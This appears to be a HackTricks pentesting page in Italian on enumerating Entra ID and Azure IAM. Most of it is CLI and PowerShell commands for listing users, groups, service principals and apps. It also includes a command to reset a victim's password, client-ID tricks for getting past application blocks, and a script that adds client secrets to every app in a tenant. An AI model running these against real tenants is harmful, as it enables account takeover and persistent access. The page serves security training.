# Az - Entra ID (AzureAD) & Azure IAM

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per la gestione delle identità e degli accessi. Consente agli utenti di effettuare il sign in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, includendo Microsoft 365, the Azure portal e numerose altre applicazioni SaaS. Azure AD è progettato per fornire servizi di identità essenziali, in particolare **authentication, authorization e user management**.

Tra le funzionalità principali di Azure AD ci sono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri servizi di sicurezza Microsoft. Queste funzionalità migliorano significativamente la sicurezza delle identità utente e permettono alle organizzazioni di implementare e far rispettare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è centrale per la gestione cloud delle identità utente.

## Enumerazione

### **Connessione**

{{#tabs }}
{{#tab name="az cli" }}
```bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
```
{{#endtab }}

{{#tab name="Mg" }}
```bash
# Login Open browser
Connect-MgGraph

# Login with service principal secret
## App ID and Tenant ID of your Azure AD App Registration
$appId = "<appId>"
$tenantId = "<tenantId>"
$clientSecret = "<clientSecret>"
## Convert the client secret to a SecureString
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
## Create a PSCredential object
$credential = New-Object System.Management.Automation.PSCredential ($appId, $secureSecret)
## Connect using client credentials
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

# Login with token
$token = (az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
$secureToken = ConvertTo-SecureString $token -AsPlainText -Force
Connect-MgGraph -AccessToken $secureToken

# Get token from session
Parameters = @{
Method     = "GET"
Uri        = "/v1.0/me"
OutputType = "HttpResponseMessage"
}
$Response = Invoke-MgGraphRequest @Parameters
$Headers = $Response.RequestMessage.Headers
$Headers.Authorization.Parameter


# Find commands
Find-MgGraphCommand -command *Mg*
```
{{#endtab }}

{{#tab name="Az" }}
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)

# Connect with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
```
{{#endtab }}

{{#tab name="Raw PS" }}
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
```
{{#endtab }}

{{#tab name="curl" }}
```bash
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
Get-MgTenantRelationshipDelegatedAdminCustomer
# Install the Microsoft Graph PowerShell module if not already installed
Install-Module Microsoft.Graph -Scope CurrentUser

# Import the module
Import-Module Microsoft.Graph

# Login to Microsoft Graph
Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All", "Directory.Read.All"

# Enumerate available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph*

# Example: List users
Get-MgUser -All

# Example: List groups
Get-MgGroup -All

# Example: Get roles assigned to a user
Get-MgUserAppRoleAssignment -UserId <UserId>

# Disconnect from Microsoft Graph
Disconnect-MgGraph
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
```
{{#endtab }}
{{#endtabs }}

Quando effettui il **login** via **CLI** in **Azure** con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. Non **potrai vederle tutte** nelle **liste delle applicazioni autorizzate** visibili nella console, **ma sono consentite di default**.

Per esempio uno **powershell script** che si **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non compare nella console, un sysadmin potrebbe **bloccare quell'application** così gli utenti non possono accedere usando tool che si connettono tramite quell'App.

Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti a Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
```
### Tenant

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List tenants
az account tenant list
```
{{#endtab }}
{{#endtabs }}

### Utenti

Per maggiori informazioni sugli utenti di Entra ID consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash
# Enumerate users using Microsoft Graph PowerShell
Get-MgUser -All

# Get user details
Get-MgUser -UserId "test@corp.onmicrosoft.com" | Format-List *

# Search "admin" users
Get-MgUser -All | Where-Object { $_.DisplayName -like "*test*" } | Select-Object DisplayName

# Search attributes containing the word "password"
Get-MgUser -All | Where-Object { $_.AdditionalProperties.PSObject.Properties.Name -contains "password" }

# All users from Entra ID
Get-MgUser -Filter "startswith(userPrincipalName, 't')" -All | Select-Object DisplayName, UserPrincipalName

# Get groups where the user is a member
Get-MgUserMemberOf -UserId <UserId>

# Get roles assigned to the user in Entra ID
Get-MgUserAppRoleAssignment -UserId <UserId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Users
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
```
{{#endtab }}
{{#endtabs }}

#### Cambia password utente
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
### MFA & Conditional Access Policies

Si raccomanda vivamente di aggiungere MFA a ogni utente; tuttavia alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente sarà **richiesto MFA se** effettua l'accesso da una posizione specifica, da un browser specifico o per **una determinata condizione**. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}

### Gruppi

Per maggiori informazioni sugli Entra ID groups consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumerate groups using Microsoft Graph PowerShell
Get-MgGroup -All

# Get group details
Get-MgGroup -GroupId <GroupId> | Format-List *

# Search "admin" groups
Get-MgGroup -All | Where-Object { $_.DisplayName -like "*admin*" } | Select-Object DisplayName

# Get members of a group
Get-MgGroupMember -GroupId <GroupId> -All

# Get groups a group is member of
Get-MgGroupMemberOf -GroupId <GroupId>

# Get roles assigned to the group in Entra ID
Get-MgGroupAppRoleAssignment -GroupId <GroupId>

# Get group owner
Get-MgGroupOwner -GroupId <GroupId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Groups
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
```
{{#endtab }}
{{#endtabs }}

#### Aggiungi utente al gruppo

I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> I gruppi possono essere dinamici, il che significa sostanzialmente che **se un utente soddisfa certe condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
> Controlla come abusare dei gruppi dinamici nella pagina seguente:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

### Service Principals

Per maggiori informazioni sui service principals di Entra ID consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}

{{#tab name="Raw" }}
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Get Service Principals using Microsoft Graph PowerShell
Get-MgServicePrincipal -All

# Get details of one Service Principal
Get-MgServicePrincipal -ServicePrincipalId <ServicePrincipalId> | Format-List *

# Search SP by display name
Get-MgServicePrincipal -All | Where-Object { $_.DisplayName -like "*app*" } | Select-Object DisplayName

# Get owner of Service Principal
Get-MgServicePrincipalOwner -ServicePrincipalId <ServicePrincipalId>

# Get objects owned by a Service Principal
Get-MgServicePrincipalOwnedObject -ServicePrincipalId <ServicePrincipalId>

# Get groups where the SP is a member
Get-MgServicePrincipalMemberOf -ServicePrincipalId <ServicePrincipalId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.ServicePrincipals
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> L'Owner di un Service Principal può cambiare la sua password.

<details>

<summary>Elenca e prova ad aggiungere un client secret in ogni Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.

.PARAMETER GraphToken
Pass the Graph API Token

.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)

$AppList = $null
$AppPassword = $null

# List All the Applications

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications"
"Method"  = "GET"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}

# Add Password in the Application

if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method"  = "POST"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}

try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}
```
</details>

### Applicazioni

Per maggiori informazioni sulle Applicazioni, consulta:

{{#ref}}
../az-basic-information/
{{#endref}}

Quando viene generata un'App vengono assegnati 3 tipi di permessi:

- **Permessi** dati al **Service Principal** (via ruoli).
- **Permessi** che l'**app** può avere e usare per conto dell'**utente**.
- **API Permissions** che danno all'**app** permessi su EntraID senza richiedere che altri ruoli concedano questi permessi.

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà di Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail

# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)

is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}

get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"

value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi

if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi

[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}

command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null

apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"

tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT

# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"

# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"

echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"

# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"

while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"

[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"

if is_microsoft_owner "$owner_org"; then
is_ms="true"
else
is_ms="false"
fi

permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")

echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>

{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
```
